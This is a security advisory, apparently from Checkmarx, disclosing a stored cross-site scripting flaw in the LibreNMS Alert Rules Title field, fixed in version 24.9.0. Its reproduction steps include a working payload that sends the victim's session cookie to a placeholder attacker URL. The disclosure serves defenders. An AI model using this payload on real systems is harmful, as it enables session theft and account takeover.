Disclosed vulnerabilities
Fixed: Sep 29, 2024
CVE-2024-47525 Published: Oct 1, 2024

Stored Cross-site Scripting in @LibreNMS/LibreNMS Alert Rules

7.5 High Severity librenms Stored-XSS XSS
Raphael Silva Reported by Checkmarx Zero

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the “Alert Rules” feature of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the “Title” field. The injected script executes when the alert rules page loads, redirecting users to attacker-controlled domains and exposing session cookies.

Product

This vulnerability affects LibreNMS versions prior to 24.9.0 in librenms/includes/html/print-alert-rules.php.

Impact

This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.

Steps to reproduce

  1. Log into the LibreNMS web interface.

  2. Create a new alert rule and enter the following payload into the Title field:

    test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie"

  3. Save the rule and trigger the alert (e.g., generate a matching alert).

  4. When the alert rules page loads, observe the browser redirect to the attacker’s URL, carrying the victim’s cookies.

Expected result:

The browser redirects to the attacker-controlled URL (https://<attacker-url>/logger.php?c=<victim_cookie>), exfiltrating the user’s session cookie.

Remediation

Fixed in LibreNMS 24.9.0 by properly escaping $rule['name'] before constructing the $enabled_msg in print-alert-rules.php, preventing attribute context injection.

Credit

This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.

Resources

  1. GHSA-j2j9-7pr6-xqwv
  2. Fix commit
  3. NVD entry for CVE-2024-47525

Stay connected and never miss a research update!